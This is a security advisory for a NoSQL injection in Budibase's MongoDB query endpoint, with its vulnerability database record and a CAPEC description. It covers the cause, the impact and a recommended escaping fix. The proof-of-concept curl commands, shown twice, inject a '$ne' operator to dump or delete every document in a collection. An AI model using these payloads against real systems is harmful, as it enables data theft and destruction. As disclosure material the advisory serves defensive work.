curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \
-H "Content-Type: application/json" \
-b "budibase:auth=$TOKEN" \
-d '{"parameters": {"username": "\", \"$ne\": \""}}'
# Returns: [{"username": "alice", ...}, {"username": "bob", ...}, {"username": "admin", ...}, ...]
The injected value ", "$ne": " transforms the query from {"username": "alice"} to {"username": "", "$ne": ""}, which matches all documents where username is not empty.
Step 4: Delete all documents via a delete query (if a delete-type query is saved)
curl -s -X POST http://localhost:10000/api/v2/queries/query_del456 \
-H "Content-Type: application/json" \
-b "budibase:auth=$TOKEN" \
-d '{"parameters": {"username": "\", \"$ne\": \""}}'
# Deletes ALL documents matching the injected filter
Impact
- Data exfiltration: Any app user with query write permission can bypass intended query filters to read all documents in a MongoDB collection, including sensitive data belonging to other users or tenants.
- Data modification: Through
updateManyqueries, attackers can modify arbitrary documents in bulk by injecting broadened filters. - Data destruction: Through
deleteManyqueries, attackers can delete all documents matching an injected filter, potentially wiping entire collections. - Authorization bypass: The attack requires only
QUERY WRITEpermission, which is a standard app-level permission — not builder or admin access. This means any regular application user can exploit saved MongoDB queries they have access to execute.
Recommended Fix
Sanitize parameter values before interpolation by escaping JSON metacharacters. Apply this in enrichContext() before the processStringSync call:
packages/server/src/sdk/workspace/queries/queries.ts
// Add this helper function
function escapeJsonValue(value: string): string {
return value.replace(/\\/g, "\\\\").replace(/"/g, '\\"')
}
// In enrichContext(), sanitize parameters before interpolation
for (const [key, value] of Object.entries(parameters)) {
if (typeof value === "string") {
parameters[key] = escapeJsonValue(value)
}
}
Alternatively, adopt a parameterized query approach: instead of string interpolation into JSON, parse the template JSON first and then inject parameter values into the parsed object at the value level, preventing any structural modification of the query.
Additionally, add Joi validation to the execute endpoint (POST /api/v2/queries/:queryId) to constrain the shape of incoming parameter values, consistent with the validation already present on the save and preview endpoints.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@budibase/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.38.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T21:25:51Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nBudibase\u0027s MongoDB query execution endpoint (`POST /api/v2/queries/:queryId`) is vulnerable to NoSQL injection through user-supplied query parameters. The `enrichContext()` function interpolates parameter values into JSON query templates using Handlebars with `noEscaping: true`, then parses the result with `JSON.parse()`. An attacker can inject JSON metacharacters (`\"`, `{`, `}`) into parameter values to alter the structure of MongoDB queries, bypassing intended filters to read, modify, or delete arbitrary documents.\n\n## Details\n\nThe vulnerability exists because input validation and interpolation are misaligned. The `validateQueryInputs()` function blocks Handlebars template syntax (`{{}}`) but does not sanitize JSON structural characters:\n\n**packages/server/src/api/controllers/query/index.ts:57-69**\n```typescript\nfunction validateQueryInputs(parameters: QueryEventParameters) {\n for (let entry of Object.entries(parameters)) {\n const [key, value] = entry\n if (typeof value !== \"string\") {\n continue\n }\n if (findHBSBlocks(value).length !== 0) {\n throw new Error(\n `Parameter \u0027${key}\u0027 input contains a handlebars binding - this is not allowed.`\n )\n }\n }\n}\n```\n\nAfter validation passes, `enrichContext()` performs raw string interpolation with escaping explicitly disabled:\n\n**packages/server/src/sdk/workspace/queries/queries.ts:105-108**\n```typescript\nenrichedQuery[key] = processStringSync(fields[key], parameters, {\n noEscaping: true,\n noHelpers: true,\n escapeNewlines: true,\n})\n```\n\nThe interpolated string is then parsed as JSON at line 122:\n\n**packages/server/src/sdk/workspace/queries/queries.ts:122**\n```typescript\nenrichedQuery.json = JSON.parse(\n enrichedQuery.json ||\n enrichedQuery.customData ||\n enrichedQuery.requestBody\n)\n```\n\nThe parsed object flows directly into MongoDB driver calls with no further sanitization:\n\n**packages/server/src/integrations/mongodb.ts:509**\n```typescript\nreturn await collection.find(json).toArray()\n```\n\n**packages/server/src/integrations/mongodb.ts:624**\n```typescript\nreturn await collection.deleteMany(json.filter, json.options)\n```\n\nConsider a saved query with a JSON template like `{\"username\": \"{{username}}\"}`. If an attacker provides the parameter value `\", \"$ne\": \"` the interpolated string becomes `{\"username\": \"\", \"$ne\": \"\"}` \u2014 a valid JSON object that matches all documents where `username` is not empty, instead of matching a single specific user.\n\nThe route requires only `PermissionType.QUERY, PermissionLevel.WRITE` (packages/server/src/api/routes/query.ts:27), which is available to regular app users \u2014 not restricted to builders or admins. Critically, the execute endpoint has no Joi schema validation on the request body, unlike the save and preview endpoints.\n\n## PoC\n\n**Prerequisites:** A Budibase instance with a MongoDB datasource and a saved query that accepts a parameter interpolated into the query JSON (e.g., a `find` query with `{\"username\": \"{{username}}\"}`).\n\n**Step 1: Authenticate as a regular app user**\n```bash\nTOKEN=$(curl -s -X POST http://localhost:10000/api/global/auth \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"username\":\"appuser@example.com\",\"password\":\"password\"}\u0027 \\\n -c - | grep budibase:auth | awk \u0027{print $NF}\u0027)\n```\n\n**Step 2: Execute the query normally (returns only matching document)**\n```bash\ncurl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \\\n -H \"Content-Type: application/json\" \\\n -b \"budibase:auth=$TOKEN\" \\\n -d \u0027{\"parameters\": {\"username\": \"alice\"}}\u0027\n# Returns: [{\"username\": \"alice\", ...}]\n```\n\n**Step 3: Inject NoSQL operator to dump all documents**\n```bash\ncurl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \\\n -H \"Content-Type: application/json\" \\\n -b \"budibase:auth=$TOKEN\" \\\n -d \u0027{\"parameters\": {\"username\": \"\\\", \\\"$ne\\\": \\\"\"}}\u0027\n# Returns: [{\"username\": \"alice\", ...}, {\"username\": \"bob\", ...}, {\"username\": \"admin\", ...}, ...]\n```\n\nThe injected value `\", \"$ne\": \"` transforms the query from `{\"username\": \"alice\"}` to `{\"username\": \"\", \"$ne\": \"\"}`, which matches all documents where username is not empty.\n\n**Step 4: Delete all documents via a delete query (if a delete-type query is saved)**\n```bash\ncurl -s -X POST http://localhost:10000/api/v2/queries/query_del456 \\\n -H \"Content-Type: application/json\" \\\n -b \"budibase:auth=$TOKEN\" \\\n -d \u0027{\"parameters\": {\"username\": \"\\\", \\\"$ne\\\": \\\"\"}}\u0027\n# Deletes ALL documents matching the injected filter\n```\n\n## Impact\n\n- **Data exfiltration:** Any app user with query write permission can bypass intended query filters to read all documents in a MongoDB collection, including sensitive data belonging to other users or tenants.\n- **Data modification:** Through `updateMany` queries, attackers can modify arbitrary documents in bulk by injecting broadened filters.\n- **Data destruction:** Through `deleteMany` queries, attackers can delete all documents matching an injected filter, potentially wiping entire collections.\n- **Authorization bypass:** The attack requires only `QUERY WRITE` permission, which is a standard app-level permission \u2014 not builder or admin access. This means any regular application user can exploit saved MongoDB queries they have access to execute.\n\n## Recommended Fix\n\nSanitize parameter values before interpolation by escaping JSON metacharacters. Apply this in `enrichContext()` before the `processStringSync` call:\n\n**packages/server/src/sdk/workspace/queries/queries.ts**\n```typescript\n// Add this helper function\nfunction escapeJsonValue(value: string): string {\n return value.replace(/\\\\/g, \"\\\\\\\\\").replace(/\"/g, \u0027\\\\\"\u0027)\n}\n\n// In enrichContext(), sanitize parameters before interpolation\nfor (const [key, value] of Object.entries(parameters)) {\n if (typeof value === \"string\") {\n parameters[key] = escapeJsonValue(value)\n }\n}\n```\n\nAlternatively, adopt a parameterized query approach: instead of string interpolation into JSON, parse the template JSON first and then inject parameter values into the parsed object at the value level, preventing any structural modification of the query.\n\nAdditionally, add Joi validation to the execute endpoint (`POST /api/v2/queries/:queryId`) to constrain the shape of incoming parameter values, consistent with the validation already present on the save and preview endpoints.",
"id": "GHSA-qw6m-8fw2-2v64",
"modified": "2026-07-24T21:25:51Z",
"published": "2026-07-24T21:25:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-qw6m-8fw2-2v64"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/pull/18907"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/commit/2d6c1d17cff8a653adbb2f9003eda9de38c7670f"
},
{
"type": "PACKAGE",
"url": "https://github.com/Budibase/budibase"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/releases/tag/3.39.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": " Budibase: NoSQL Injection via JSON Parameter Interpolation in MongoDB Query Execution"
}
No mitigation information available for this CWE.
CAPEC-676: NoSQL Injection
An adversary targets software that constructs NoSQL statements based on user input or with parameters vulnerable to operator replacement in order to achieve a variety of technical impacts such as escalating privileges, bypassing authentication, and/or executing code.